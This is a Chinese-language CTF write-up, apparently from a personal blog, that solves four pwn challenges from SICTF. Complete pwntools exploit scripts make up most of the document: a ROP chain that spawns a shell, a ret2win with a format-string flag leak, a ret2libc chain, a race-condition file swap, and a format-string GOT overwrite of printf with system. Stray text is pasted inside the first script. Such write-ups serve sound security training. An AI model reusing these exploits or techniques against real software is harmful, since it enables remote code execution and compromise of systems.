SICTF PWN WriteUp

Sunday, January 22, 2023
本文共3800字
8分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/sictf-pwn-writeup/。商业转载请联系作者获得授权,非商业转载请注明出处!

Never mistake motion for action. — Ernest Hemingway

sictf_pwn

C@na2y

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

文内图片

法一:直接用ropper或者ROPgadget生成ROP链

最简单的方法,使用ropper或者ROPgadget生成(ROPgadget比较好,会区分bytes和str),可以直接getshell,但是我自己生成的时候却没有成功,出来的ROP链无法使用,这里放一下另一位大佬的exp:

使用命令ROPgadget.py --binary pwn --ropchain生成:

from pwn import *
io = process('./pwn')
io = remote('ctf.qsnctf.com',10499)
from struct import pack
# Padding goes here
p = b''
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da060) # @ .data
#p += p32(0x080a90d6) # pop eax ; ret
p += p32(0x08056464) # pop eax ; pop edx ; pop ebx ; ret
p += b'/bin'
p += p32(0x080da060)*2 # @ .data
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da064) # @ .data + 4
p += p32(0x08056464) # pop eax ; pop edx ; pop ebx ; ret
#p += p32(0x080a90d6) # pop eax ; ret
p += b'//sh'
p += p32(0x080da064)*2 # @ .data + 4
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x08056550) # xor eax, eax ; ret
p += p32(0x08056f95) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080da060) # @ .data
p += p32(0x0806ee52) # pop ecx ; pop ebx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x080da060) # padding without overwrite ebx
p += p32(0x0806ee2b) # pop edx ; ret
p += p32(0x080da068) # @ .data + 8
p += p32(0x08056550) # xor eax, eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x0807c6fa) # inc eax ; ret
p += p32(0x08049623) # int 0x80
pay = b'/flag;AAABBBCCCDDDEEEFFFAAAA' + p
#gdb.attach(io,'b *0x080488D0')
io.send(pay)
fmt2
SiLibrary
#io = remote()
io.interactive()

这个代码我测试过,是实际可用的,但是我自己生成的时候却无法还原,可能和我的环境有关

法二:使用win函数用格式化字符串查看flag内容

程序给了一个win函数来将flag读入到栈内:

文内图片

因为flag在一个远程环境中是不变的,而程序限制v2的读入长度,所以我们可以一个一个地读入:

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

todo = []

def pwn(times: int):
    global todo
    rmt: bool = False
    fn: str = "./sictf-C@na2y"
    libc_name:str = ""
    port: str = "10023"
    if_32: bool = True
    if_debug:bool = False
    pg = p32 if if_32 else p64
    ug = u32 if if_32 else u64
    context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
    context.terminal = ["tmux", "splitw", "-h"]
    env = {"LD_PRELOAD": libc_name}
    if rmt:
        p = remote("ctf.qsnctf.com", port)
    else:
        if if_debug:
            p = gdb.debug(fn, """
                            b* 0x8048951
                            c
                            """)
        else:
            p = process(fn)
    # 两个elf,注意libc的版本
    m_elf = ELF(fn)
    # libc = ELF(libc_name)

    def suclog(*args, **kwargs):
        # args是变量名,是字符串
        for k in args:
            v = globals()[k]
            if isinstance(v, int):
                success(f"{k} => {hex(v)}")
            else:
                success(f"{k} => {v}")
        for k, v in kwargs.items():
            if isinstance(v, int):
                success(f"{k} => {hex(v)}")
            else:
                success(f"{k} => {v}")
        
    def send_after_clean(content: bytes = b"", until: bytes = None,\
                        timeout: float = 0.05, no_show: bool = True):
        if until is not None:
            p.recvuntil(flat(until))
        else:
            received = p.clean(timeout)
            if not no_show:
                print(f"[$]received:\n{received}")
        p.send(flat(content))


    def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                            timeout: float = 0.05, no_show: bool = True):
        send_after_clean([content, p.newline], until, timeout, no_show)
        
    def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
        p.interactive()

    def c_val(value: int, c_type: string) -> bytes:
        type_dict = {
            "long": ctypes.c_long,
            "longlong": ctypes.c_longlong,
            "ulong": ctypes.c_ulong,
            "ulonglong": ctypes.c_ulonglong,
            "int8": ctypes.c_int8,
            "int16": ctypes.c_int16,
            "int32": ctypes.c_int32,
            "int64": ctypes.c_int64,
            "uint8": ctypes.c_uint8,
            "uint16": ctypes.c_uint16,
            "uint32": ctypes.c_uint32,
            "uint64": ctypes.c_uint64,
            "int": ctypes.c_int,
            "char": ctypes.c_char,
            "bool": ctypes.c_bool,
            "float": ctypes.c_float,
            "double": ctypes.c_double,
            "ushort": ctypes.c_ushort,
            "byte": ctypes.c_byte,
            "longdouble": ctypes.c_longdouble,
            "size_t": ctypes.c_size_t,
            "ssize_t": ctypes.c_ssize_t,
            "ubyte": ctypes.c_ubyte
        }
        try:
            return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
        except:
            try:
                return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
            except:
                error(f"无法转换{value}或不存在类型{c_type}")
            
    def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
        return ctypes.CDLL(libc_name, args, kwargs)
        
    def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
        is_canary: bool = False, bound: str = None) -> int:
        if prev_string is not None:
            p.recvuntil(flat(prev_string))
        if bound is not None:
            bound = flat(bound)
        if from_bytes:
            if bound is not None:
                return ug(p.recvuntil(bound)[:-len(bound)])
            if if_32:
                return ug(p.recv(4))
            else:
                if is_canary:
                    return ug(p.recv(7).rjust(8, b"\x00"))
                else:
                    return ug(p.recv(6).ljust(8, b"\x00"))
        else:
            if bound is not None:
                return int(p.recvuntil(bound)[:-len(bound)], 16)
            else:
                if if_32:
                    return int(p.recv(10), 16)
                else:
                    if is_canary:
                        return int(p.recv(18), 16)
                    else:
                        return int(p.recv(14), 16)
    def formula_compute(formula: bytes, precise: bool = False):
        if isinstance(formula, bytes):
            formula = formula.decode("UTF-8")
        formula = formula.strip()
        formula = formula.strip("\n")
        formula = formula.replace("x", "*")
        formula = formula.replace("^", "**")
        formula = formula.replace("÷", "/")
        if not precise:
            formula = formula.replace("//", "/")
            formula = formula.replace("/", "//")
        return bytes(str(eval(formula)), encoding="UTF-8")
    ...


    offset: int = 0x18 + 4
    backdoor = m_elf.sym['win']
    payload = flat({offset:[
        backdoor
    ]})
    sendline_after_clean(payload)
    sendline_after_clean(f"%{times}$x")
    recved = p.recvuntil(b"\n", True)
    if len(recved) % 2 != 0:
        recved = b"0" + recved
    todo.append(recved.decode("UTF-8"))
    p.close()

for i in range(10, 22):
    pwn(i)

print(todo)
s = ""

for ele in todo:
    tmp = ""
    for i in range(0, len(ele), 2):
        tmp = chr(int(ele[i:i+2], 16)) + tmp
    s += tmp

print(s)

easystack

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

文内图片

程序的整体逻辑就是先输入一个达不到栈溢出长度的字符串,然后把这个字符串复制到更低位的栈上,但是遇到\x00就停止复制

这就意味着,我们在check的栈上只能溢出一句到ret上,但在这个程序上显然不能直接getshell

于是我就想,既然check的栈更低,那能不能和main函数中的输入到栈中的payload连在一起呢?

文内图片

但一个ret肯定是不行的,但是别忘了,能改变栈指针的还有pop和push,

如果我们使用这个pop掉5个的gadget,那么我们不仅能和我们的payload接上,而且还会跳过payload中的pop_5_ret:

文内图片

那么,其实我们已经可以忽视check函数了,只需要将payload构造成这样,[content]部分就能够被执行

flat({offset:[
	pop_5_ret,
	[content]
]})

因此题目就被转化成常规的ret2libc了

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./sictf-easystack"
libc_name: str = "./libc.so.6"
port: str = ""
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        b* 0x40075D
                        c
                        """, env=env)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...



# 查找gadget的内置函数
rop_gadget = ROP(m_elf)
pop_rdi_ret: int = rop_gadget.find_gadget(["pop rdi", "ret"])[0]
ret: int = rop_gadget.find_gadget(["ret"])[0]
pop_5_ret = 0x000000000040089b
suclog(
    "pop_5_ret",
    pop_rdi_ret=pop_rdi_ret,
    ret=ret,
)
    
#需要自行设定offset
offset:int = 0x10

# 需要改为需要的输入函数,默认为puts
puts_plt: int = m_elf.plt["puts"]
puts_got: int = m_elf.got["puts"]
main_addr: int = m_elf.sym["main"]
suclog(
    puts_plt=puts_plt,
    puts_got=puts_got,
    main_addr=main_addr
)

sendline_after_clean(b"512")
# 发送payload

payload = flat({offset:[
    pop_5_ret,
    pop_rdi_ret,
    puts_got,
    puts_plt,
    main_addr
]})
sendline_after_clean(payload)
p.recvuntil(b"welcome to sictf\n")
# 得到真实地址
puts_addr:int = recv_and_transform()
       

# 计算得到基址和system地址

base_addr: int = puts_addr - libc.sym['puts']
system_addr: int = base_addr + libc.sym['system']
bin_sh_addr: int = base_addr + next(libc.search(b"/bin/sh"))
            
suclog(
    puts_addr=puts_addr,
    base_addr=base_addr,
    system_addr=system_addr,
    bin_sh_addr=bin_sh_addr
    )

# 发送payload

sendline_after_clean(b"512")
# 注意栈对齐
payload = flat({offset:[
    pop_5_ret,
    ret,
    pop_rdi_ret,
    bin_sh_addr,
    system_addr
]})
sendline_after_clean(payload)
    

interactive_after_clean()

SiLibrary

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

文内图片

这道题是C++反编译,因此阅读可能会有一点困难

但是仔细阅读一下会发现,程序逻辑其实挺容易理解的

只要先把线程挂起,因为里面有一个sleep,在这一秒内将bookname改为./flag就行

文内图片

文内图片

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./sictf-SiLibrary"
libc_name:str = "/usr/lib/x86_64-linux-gnu/libstdc++.so.6"
port: str = ""
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...

sendline_after_clean("3")
sendline_after_clean("2")
sendline_after_clean("1")
sendline_after_clean("./flag\x00")
interactive_after_clean()

fmt2

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

一次栈上格式化字符串漏洞,两次非栈上格式化字符串漏洞,而且第一次栈上格式化字符串漏洞之后还有一次机会改变栈上内容

最离谱的是,虽然没有给libc,但是程序中是有system的

我们可以在第一次泄露出pie的基址,然后将printf_got、printf_got+2安排在栈上,然后通过格式化字符串将printf_got更改为system_plt

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./sictf-fmt"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if rmt:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
    # args是变量名,是字符串
    for k in args:
        v = globals()[k]
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True):
    if until is not None:
        p.recvuntil(flat(until))
    else:
        received = p.clean(timeout)
        if not no_show:
            print(f"[$]received:\n{received}")
    p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True):
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        print(f"[$]received:\n{received}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


payload = b"%3$p.%1$p."
sendline_after_clean(payload)
pie_addr = recv_and_transform(from_bytes=False, bound=b".") - 49 - m_elf.sym['main']
stack_addr = recv_and_transform(from_bytes=False, bound=b".") + 96
printf_got = pie_addr + m_elf.got['printf']
system_plt = pie_addr + m_elf.plt['system']

suclog(
    "printf_got",
    "system_plt"
)

payload = flat([
    printf_got,
    printf_got + 2,
])
sendline_after_clean(payload, "You have one chance to change it")

fmt = ""
write1 = system_plt & 0xffff
write2 = (system_plt >> (2*8)) & 0xffff
write_dict = {write1:7, write2:8}
write_list = [write1, write2]
write_list.sort()
tmp = 0
for ele in write_list:
    fmt += f"%{ele-tmp}c%{write_dict[ele]}$hn"
    tmp = ele
fmt += "\x00"
sendline_after_clean(fmt, "I hope to get your blessing")
sendline_after_clean(b"/bin/sh\x00")
print(fmt)
interactive_after_clean()